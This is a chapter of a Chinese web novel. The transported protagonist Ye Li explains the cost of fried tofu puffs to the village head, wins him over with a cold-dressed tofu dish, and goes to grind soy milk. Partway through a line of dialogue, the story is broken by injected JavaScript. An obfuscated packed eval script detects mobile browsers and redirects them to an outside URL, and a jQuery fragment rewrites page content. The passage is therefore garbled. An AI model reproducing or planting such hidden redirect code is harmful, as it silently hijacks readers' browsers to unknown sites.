“您说的对，我是想卖豆腐泡。也可能的确不太好卖。”


    “因为我打算卖十五文一斤。”


    叶厘道。


    “多少？”江福正猛然提高了声音。


    江麦也一脸诧异，怀疑自己听错了。


    江芽惊讶的小嘴巴大张，然后抬手拍拍自己的小肚子。


    昨晚他和他哥得吃掉多少铜板啊？


    叶厘无奈摊手，解释道：“江伯，因为成本很高，一斤的成本就得八文。”


    “八文？”


    江福正难以置信的看向江麦手里的豆腐泡：“就这东西，一斤的成本是八文？”


    “可不是！我昨个儿算了之后，也吓了一跳。足足算了三遍才敢确认。”


    “但好在一斤足足有六十个！”


    “六十个？”


    江福正又惊呼出声。


    “是的，这东西里面又空又软，六十个才一斤重。”


    豆腐泡这东西不占重量，即便是大个头的，一斤也能有三四十个。


    他做的比麻辣烫店里的稍大些许，一斤有六十个。


    “你给我详细算算账。”


    江福正皱眉。


    对叶厘的话半信半疑。


    这三个数字带给他的震惊太大了。


    “好。”


    叶厘伸出手指，开始给江福正算成本。


    他算的异常仔细，好叫这位里长大人知晓，他没有空口骗人。


    江家没有种黄豆，他所用的黄豆得从粮铺里购买，一斤是三文钱。


    一斤黄豆可做三斤老豆腐。


    豆腐在炸的过程中，水分会消失。


    一斤老豆腐，只能出半斤的豆腐泡。


    三斤老豆腐，那就是出一斤半。


    也就是说，一斤黄豆，能做一斤半的豆腐泡。


    但想将黄豆变成豆腐泡，除了黄豆这一成本，还有盐卤以及猪油。


    老豆腐不算吸油，炸三斤豆腐，也就是想得到一斤半的豆腐泡，那需要耗费二两猪油。


    猪油价格昂贵，但若是买了猪板油自己熬，那大约是三十五文一斤。


    换算下来，二两猪油便是七文。


    另外，一斤黄豆做成豆腐所消耗的盐卤成本大约是五厘。


    还要考虑柴火的花费，现在量少，自家的柴火能应付。


    若是产量高了，那肯定要想办法搞干柴。


    因此，他将柴火的成本算做一文。


    人工当然也得花钱。


    就江福正家的大石磨，他可不准备自个儿推。


    他打算雇人磨豆浆。


    这部分人工，一斤粗算做一文。


    黄豆、猪油、盐卤、干柴、人工，这五项相加，那一斤半豆腐泡的成本价就是十二文五厘。


    平均下来，一斤的豆腐泡的成本便是八文三厘。


    他说八文，还特意说少了呢。


    江福正听完他这一通解释，无言了片刻，才道：“成本虽高，但卖十五文，着实贵了。”


    “乡亲们绝舍不得买。”


    这和猪肉一个价了！


    能买猪肉，一般人家谁舍得买豆腐？


    “江伯，我也没法子呀，普通豆腐炸不了豆腐泡，我得先做豆腐，然后才能下锅炸，这一通折腾下来，天都得黑了。”


    “我忙活一天，一斤挣不了七文钱。”


    叶厘又解释。


    他挣的是血汗钱。


    纯纯血汗钱！


    看江福正神色不变，他便又道：“再说了，一斤豆腐泡，有六十个呢，舍不得买一斤，可以论个买嘛，一文钱四个，这个不算贵了。”


    但江福正还是摇头：“一文钱能买半斤豆腐了。”


    “味道不一样呀，来来来，我给您演示一下正确吃法。”


    叶厘说着将江麦手里的碗接了过去，打算把这些豆腐泡凉拌一下。


    “小麦，你去挖两根蒜苗。”


    江麦没说话，转头朝大门左边的小菜园走去。


    江福正则是牵着江芽跟进了灶房。


    叶厘洗了手，先把豆腐泡切成两半，这样可以让豆泡里的蜂窝充分吸收酱汁。


    刚把切好的豆腐泡盛入陶盆里，江麦抓着两根蒜苗过来了。


    蒜苗的根部，新蒜已结，但很小，这种蒜嫩的能出水，辣味淡。


    但此时家里没有去年的老蒜，叶厘只能拿这两头新蒜凑数。


    将新蒜切成蒜末放入陶盆中，又依次加入辣椒粉、蔗糖、盐、芝麻酱、香醋。


    最后再淋上一点芝麻香油。


    芝麻香油一碰到蒜末，蒜香油香的混合香味立马引得江芽悄悄咽口水。


    叶厘拿出筷子，将这些调料和豆腐泡充分搅拌。


    条件有限，卖相不太好，因为只有辣椒粉，没有红通通的辣椒油。


    但味道不错，香味直扑鼻尖。


    叶厘将陶盆放到小饭桌上，从筷笼里取出三双筷子，挨个递给江福正、江麦江芽，笑盈盈的招呼他们尝一尝。


    “豆腐泡这样才好吃，江伯，您试试。”


    江福正接过筷子，夹了半个挂着蒜末芝麻酱的豆腐泡放入口中。


    牙齿一咬下去，豆腐泡里裹着的充沛酱汁瞬间爆开，香、辣、鲜，但又有豆腐泡本身的劲道与豆香，这味道超出预期太多，他不由看向叶厘。


    叶厘脸上带着忐忑：“江伯，您觉得怎么样？”


    江福正不语。


    只是伸手又夹了一筷子。


    叶厘这下子忐忑散去，嘴角翘起了一个小弧度。


    江麦江芽两个小家伙，惊讶之后，也是吃的筷子停不下来。


    但两人并没有完全沉浸在美食中。


    两人一边吃一边悄悄看着叶厘，若叶厘有生气的迹象，那他们立马会停下筷子。


    江福正一连夹了三筷子，这才停手。


    他一停，江麦、江芽也立马将手中的筷子放下。


    他轻咳一声，对叶厘说道：“纪小子家的，昨日炸的豆腐泡还剩下多少，我全买了。”


    “什么买不买的，您是长辈，我理应孝敬您，剩下的还有一斤出头，您端回去就成。”


    叶厘忙道。


    江福正闻言有些意外，这纪小子家的还真懂人情世故了啊。


    他有些欣慰。


    随后摇头：“行了，在我跟前就别说这些虚的了。”


    “我又不是不知道你手里没钱，总不能让我白白端走然后你再找我借钱吧？我江福正真这样干了，你公爹非得从地下跳出来揍我。”


    想起早逝的江大海，他忍不住叹气：“等你家日子真好起来了，再有新鲜吃食，不忘记我这老头子就成了。”


    一番话，说的有情有理。


    叶厘脸上露出几分不好意思：“江伯，那您给十三文就成。做这些豆腐泡，干柴是自家的，磨是我自己推的，这两样没支出，我卖


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075419|163357||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    十三文一斤。”


    “行，实在。”


    江福正闻言笑了：“待会你过去磨豆腐，用我家的骡子磨，给你省点力气。”


    这话一出，叶厘大喜。


    昨晚他还在发愁这事呢！


    他忙道谢：“谢谢江伯！”


    “那你们吃早饭吧，我先回家。等你去磨豆浆时，我将豆腐泡的银钱给你。”江福正又道。


    叶厘应下。


    等送走江福正，他让江麦摆饭，他则是打水洗漱。


    江麦做的早饭很简单：玉米糁糊糊、玉米饼子、咸菜丝。


    不过，有了刚才的凉拌豆腐泡后，原本寡淡的早饭立马诱人了起来。


    吃过早饭，叶厘拎上已经泡好的黄豆、两个空水桶，准备去江福正家磨豆浆。


    出门前，他交代江麦去给江大河家送豆腐。


    昨日做的豆腐，大半炸成了豆腐泡，还剩下一块，不足一斤，但也能炒盘菜。


    昨个儿江福正领着他去村中其他人家宣传时，江大河一家四口都下地去了，家里没人。


    但他必须得有所表示。


    江大河将江麦、江芽养大，现在他要做豆腐生意，那绝不能缺了江大河的豆腐吃。


    江麦没说话，没惊讶，只点了点。


    等他拎着桶走了，便用碗端上那块豆腐，也和江芽出了门。


    叶厘到了江福正家，江福正立马给他一串铜板，不多不少，正好十三文。


    有了这十三文，他便将借猪油的话按下。


    十斤黄豆能做三十斤豆腐，昨日江福正给他打了广告，今日来买豆腐的人应有不少。


    若能全部卖完，那他能挣二十五文，当然，这是理想状况，他打算搞一下开业大酬宾。


    如此一来，就算全部卖完也挣不了二十五文。


    但甭管挣多挣少，加上原身留下的八文，他手里的银钱足够买明日的豆子和猪油了。


    江福正的家人昨日已见过他磨豆浆，因此这会儿该干嘛干嘛去，只留下江福正牵来骡子帮他磨豆浆。


    骡子拉磨的速度比他快，再加上石磨大，一次磨的多，因此，当江大河来时，第一桶豆浆已快满了。


    “二叔，你怎么来了？”叶厘出了磨房，同江大河打招呼。


    “小麦说你会做豆腐了，我就过来看看有没有什么能帮忙的。”江大河笑呵呵的道。


    “谢谢二叔。有江伯家的骡子拉磨，这里的活儿不重。你让小柳过来看看就成，你亲自跑一趟，又耽搁不少活计。”


    叶厘有几分不好意思。


    江柳是江大河的大女儿。


    江大河听了此话，有些诧异，果然如小麦说的，他这侄夫郎不一样了。


    之前“叶厘”可没给过他好脸色。


    不过，这是好事。


    他继续笑呵呵的道：“这是咱家的营生，小柳这俩年就该嫁人了，哪能让她掺和？”


    “……那二叔你帮忙将这桶豆浆拎回去吧，太重了，我自个儿不好拎。”


    叶厘笑道。


    江大河这人什么都好，但因着他媳妇只生了一个女儿、一个哥儿，因此说话做事异常轻女/哥儿。


    待便宜相公和江麦两个侄子，比待亲生女儿/哥儿还好。


    既然江大河诚心相帮，那他也不客气了。


    他现在穿成了哥儿，力气比男人的小，刚才将泡了水的十斤黄豆拎过来，竟累得他出了汗。